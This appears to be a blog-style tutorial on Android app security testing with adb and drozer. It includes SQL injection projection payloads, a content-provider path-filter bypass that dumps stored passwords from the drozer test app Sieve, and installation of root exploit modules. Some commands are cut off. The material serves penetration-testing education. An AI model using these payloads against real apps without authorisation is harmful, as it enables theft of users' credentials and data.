Android Security Testing Tips

adb and drozer usage examples



Create your very first Android emulator (emulator too slow, run native on rooted device)

$ android sdk

create a KitKat emulator by running the Android Virtual Device (AVD) Manager

$ android avd

List available AVDs for emulator

$ emulator -list-avds

Start emulator

$ emulator -avd kitkat

adb to emulator

List connected devices

$ adb devices

Get shell on device

$ adb -s device_id shell

Install an Android app

$ adb install tmp/my.apk

Forward a TCP port on the local host to a port on the device

$ adb forward tcp:<local_port> tcp:<device_port>

Device logs

$ adb logcat

adb to hardware

If you try to access a new physical phone using adb you will see this message

$ adb shell
error: insufficient permissions for device

Figure out the phones manufacturer ID

$ lsusb
Bus 002 Device 030: ID 0bb4:0ced HTC (High Tech Computer Corp.)

Change udev permission in linux for hardware (phone)

Create a new udev rule file, add a rule for obb4

# vi /etc/udev/rules.d/51-android.rules
SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev"

Restart udev and remove, insert phone

# /etc/init.d/udev restart

Accept permission on phone to allow access from adb

Check adb permission

$ adb devices
List of devices attached
HT24LW309683    device

Installing drozer

Install drozer by git clone and python install. This method worked best for me on Kali 2
Download drozer agent from site

git clone

Add jdk 1.6.0 and dx to path

$ vi .bashrc
 export PATH="/home/user/projects/jdk1.6.0_45/bin:/home/user/Android/Sdk/build-tools/23.0.2:$PATH:/home/user/Android/Sdk/platform-tools:/home/user/Android/Sdk/tools:/home/user/projects/drozer/src/drozer/lib"

Install agent on emulator or physical device

$ adb install agent.apk

Need to forward drozer ports

$ adb forward tcp:31415 tcp:31415

Start drozer agent on device or emulator and flick ‘On’ switch

Run drozer console

$ drozer console connect

Install new drozer modules

dz> module install root
Processing metall0id.root.cmdclient... Done.
Processing metall0id.root.exynosmem... Done.
Processing metall0id.root.huaweip2... Done.
Processing metall0id.root.mmap... Done.
Processing metall0id.root.scanner_check... Done.
Processing metall0id.root.towelroot... Done.
Processing metall0id.root.ztesyncagent... Done.

Successfully installed 7 modules, 0 already installed.

Example how to open a browser from drozer

dz> run app.activity.start --action android.intent.action.VIEW --data-uri --component

Querying the system settings

dz> run app.provider.query content://settings/system

list apk from adb shell

root@generic:/ # pm list packages |grep myapp

or using drozer

dz> run -a com.myapp
 Package: com.myapp
 Application Label: Myapp
 Process Name: com.myapp
 Version: 1.1
 Data Directory: /data/data/com.myapp
 APK Path: /data/app/com.myapp-1.apk
 UID: 10053
 GID: [...]
 Shared Libraries: null
 Shared User ID: null
 Uses Permissions:
 - android.permission.INTERNET
 - android.permission.ACCESS_NETWORK_STATE
 - android.permission.WRITE_EXTERNAL_STORAGE
 - android.permission.READ_EXTERNAL_STORAGE
 - android.permission.READ_PHONE_STATE
Defines Permissions:
 - com.myapp.permission.RECEIVE_ADM_MESSAGE
 - com.myapp.permission.UA_DATA
root@generic:/ # ls -la /data/data/*myapp
lrwxrwxrwx install install 2016-03-28 17:02 lib -> /data/app-lib/com.myapp-1

Shared userid

dz> run app.package.shareduid -u 10053
UID: 10053 (com.myapp)
Package: com.myapp
Permissions: android.permission.GET_TASKS, android.permission.READ_PHONE_STATE, android.permission.CHANGE_WIFI_STATE, android.permission.ACCESS_FINE_LOCATION, android.permission.WRITE_SETTINGS, android.permission.CAMERA, android.permission.WAKE_LOCK, android.permission.GET_ACCOUNTS, 

Use drozer to search for a pack by its label

dz> run app.package.list -f "Terminal Emulator"

dz> run app.package.list -f "myapp"
 com.myapp (myapp)

Get path of apk

127|root@generic:/ # pm path com.myapp

Dowload and install apks outside of Google Playstore, but look out for malware

Dump manifest file from apk using aapt

user@kali:~$ aapt dump xmltree ./myapp.apk AndroidManifest.xml
 N: android=
 N: amazon=
 E: manifest (line=2)
 A: android:versionCode(0x0101021b)=(type 0x10)0x5

Convert apk back to jar

$ ./ /path/to/agent.apk -o /output/to/agent.jar

Apktool to reverse-engineer an entire Android package back to a workable form

Download apktool from

user@kali:~$ java -jar /usr/bin/apktool_2.1.0.jar d myapp.apk -o myapp-apktool.output
 I: Using Apktool 2.1.0 on myapp.apk
 I: Loading resource table...
 I: Decoding AndroidManifest.xml with resources...
 I: Loading resource table from file: /home/user/apktool/framework/1.apk
 I: Regular manifest package...
 I: Decoding file-resources...
 I: Decoding values */* XMLs...
 I: Baksmaling classes.dex...
 I: Copying assets and libs...
 I: Copying unknown files...
 I: Copying original files...

Look for application exported components

user@kali:~$ grep -C 3 exported myapp/myapp-drozer.manifest
 <provider name="com.someappProvider"

Implicitly Exported
Any component that makes use of an <intent-filter> is exported by default.

user@kali:~$ grep -C 3 intent-filter myapp-drozer.manifest |head
 <action name="android.intent.action.MAIN">
 <category name="android.intent.category.LAUNCHER">

Using drozer

dz> run app.package.attacksurface com.myapp
Attack Surface:
3 activities exported
2 broadcast receivers exported
2 content providers exported
0 services exported
is debuggable


dz> run -a com.myapp
Package: com.myapp
Authority: com.myapp.someapp.provider
Read Permission: com.myapp.permission.UA_DATA
Write Permission: com.myapp.permission.UA_DATA
Content Provider: com.someapp.Provider
Multiprocess Allowed: True
Grant Uri Permissions: False


dz> run -a com.myapp
 Package: com.myapp
 Permission: null
 Permission: null
 Permission: null
 Permission: null


dz> run -a com.myapp
 Package: com.myapp
 Permission: null
 Permission: null
 Permission: null

Applications signed with same certificate can access this service

 dz> run information.permissions --permission com.myapp.permission.UA_DATA
 No description
 2 – signature

Intent matching is kind of like mime type matching.
Three categories of filtering exist, Action, Data, and Category.

Sieve is a test app which is made available with drozer.

Sieve assessment example

 dz> run app.package.attacksurface com.mwr.example.sieve
 Attack Surface:
 3 activities exported
 0 broadcast receivers exported
 2 content providers exported
 2 services exported
 is debuggable

There are three main attack surface categories to look for in an Android app

  • activities (screens used by the app)
  • content providers (database objects)
  • services (background workers)
dz> run -a com.mwr.example.sieve
 Package: com.mwr.example.sieve
 Permission: null
 Permission: null
 Permission: null


dz> run app.package.launchintent com.mwr.example.sieve
 Launch Intent:
 Action: android.intent.action.MAIN
 Data: null
 - android.intent.category.LAUNCHER
 Mime Type: null
 Extras: null

Starting an app’s activity (view)

dz> run app.activity.start --component <package_name> <full_activity_name>


run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

Providers (database)

dz> run -a com.mwr.example.sieve
 Package: com.mwr.example.sieve
 Authority: com.mwr.example.sieve.DBContentProvider
 Read Permission: null
 Write Permission: null
 Content Provider: com.mwr.example.sieve.DBContentProvider
 Multiprocess Allowed: True
 Grant Uri Permissions: False
 Path Permissions:
 Path: /Keys
 Read Permission: com.mwr.example.sieve.READ_KEYS
 Write Permission: com.mwr.example.sieve.WRITE_KEYS
 Authority: com.mwr.example.sieve.FileBackupProvider
 Read Permission: null
 Write Permission: null
 Content Provider: com.mwr.example.sieve.FileBackupProvider
 Multiprocess Allowed: True
 Grant Uri Permissions: False

drozer can automatically assess possible providers

dz> run scanner.provider.finduris -a com.mwr.example.sieve
 Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/

Again looking for activities but -u option provides more info. ‘null’ indicates not protected.

dz> run -a com.mwr.example.sieve -u
 Package: com.mwr.example.sieve
 Exported Activities:
 Permission: null
 Permission: null
 Permission: null
 Hidden Activities:
 Permission: null
 Permission: null
 Permission: null
 Permission: null
 Permission: null

Call UI settings

root@generic:/ # am start -n com.mwr.example.sieve/.SettingsActivity

Unprotected Content Providers
Can processes access insights data store (provider)?

dz> run -a com.myapp

Accessing the content provider.

dz> run app.provider.finduri com.myapp
Scanning com.myapp...
Do we have permission to access an apps provider?
dz> run app.provider.query content://com.myapp.someapp.provider
Permission Denial: opening provider com.someapp.Provider from ProcessRecord{b2032700} (pid=1002, uid=10054) requires com.myapp.permission.UA_DATA or com.myapp.permission.UA_DATA

Insert data into Sieve’s provider

dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email

Run a query

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | service1 | username | GJq0ZqHvADw4Ep3vCXk4TG3rahc18N/D (Base64-encoded) | |
 | 3 | Facebook | tyrone | zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T | |

SQL injection

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* from sqlite_master--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
 | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
 | table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |
 | index | sqlite_autoindex_Key_1 | Key | 6 | null

And again

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* from Key--"
| Password | pin |
| 1234567890abcdef | 1234 |

Key was provider path which relates to table name

Using drozer module to discover sqlinjection vuln.

dz> run scanner.provider.injection -a content://com.mwr.example.sieve.DBContentProvider/Passwords
Not Vulnerable:
No non-vulnerable URIs found.
Injection in Projection:
Injection in Selection:

Providers can be protected with path filtering. Sieve uses filtering with /Keys but replacing this with /Keys/ bypasses filter.

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| Thisismylongpassword123 | 1234 |

Exported services

dz> run -a com.myapp
Package: com.myapp
No exported services.

Search for unprotected broadcast receivers

dz> run -a com.myapp
Package: com.myapp

Verify an apk’s cert using jarsigner

user@kali:~$ jarsigner -certs -verbose -verify myapp.apk > myapp_cert-verify.txt

Or use keytool on extracted cert

user@kali:~/$ keytool -printcert -file META-INF/CERT.RSA
 Owner: CN=something, OU=something, O=something, L=something, ST=something, C=something
 Issuer: CN=else, OU=else, O=, L=, ST=, C=
 Serial number: 434324
 Valid from: Sun Jan 03 22:00:12 PDT 2012 until: Mon May 11 11:11:11 PDT 2014
 Certificate fingerprints:
 Signature algorithm name: SHA256withRSA
 Version: 3
#1: ObjectId: Criticality=false
 SubjectKeyIdentifier [
 KeyIdentifier [

Or you can use openssl

user@kali:~/$ openssl pkcs7 -inform DER -in META-INF/CERT.RSA -

List all installed packages

dz> run app.package.list -p android.permission.INSTALL_PACKAGES (Google Play Store) (Shell)

Can you backup the app to an SD card?

dz> run app.package.backup -f com.myapp
 Package: com.myapp
 UID: 10022
 Backup Agent: null
 API Key: Unknown


user@kali:~$ adb backup com.myapp
 Now unlock your device and confirm the backup operation.

Backup will be on the SD card so use adb pull command to retrieve.

Then need to convert ab file to tar format for easy extraction

user@kali:~/$ dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys; sys.stdout.write(zlib.decompress(" > backup.tar

Is the apk debuggable?

dz> run app.package.debuggable
 UID: 10115
 - android.permission.INTERNET


dz> run exploit.jdwp.check
 [-] @jdwp-control already in use
 [*] Possible reasons for failure:
 # USB debugging is enabled
 # Port is still open from previous attempt


  • Code review jar files with JD-GUI
  • APK Studio is a nice gui which will decompile, edit and recompile.
  • Reversing an apk can be accomplished using apktoolMake sure you have Java sdk greater than 1.7.x. On my system my default java was pointing to version 1.6.x because of drozer’s dependency so I had ensure apktool was invoked with the absolute path of the correct java version
    $ /usr/bin/java -jar /usr/bin/apktool.jar d myapp.apk -f

Traffic Capture

Packet capture using tcpdump. -s 0 prevents packet truncation.

# tcpdump -s 0 -w /data/local/tmp/dump.cap

Web traffic

Configure an Android device to proxy web traffic

Configure Android to use a proxy


install Burp’s ca certificate

Start gui app from adbStart gui app from adb shell
Values obtained from apk manifest file
com.mypackage = package
com.myapp.ui.activity.SplashActivity = activity android name (search for android.intent.action.MAIN)

# am start -n com.mypackage /com.myapp.ui.activity.SplashActivity


The mobile application hacker’s handbook

Androguard for code analysis

adb setup on a device

Attacking Android Applications With Debuggers

Linux distro images



If I have time I’ll do a proper write up of an actual Android app assessment with detailed methodology.

Thank you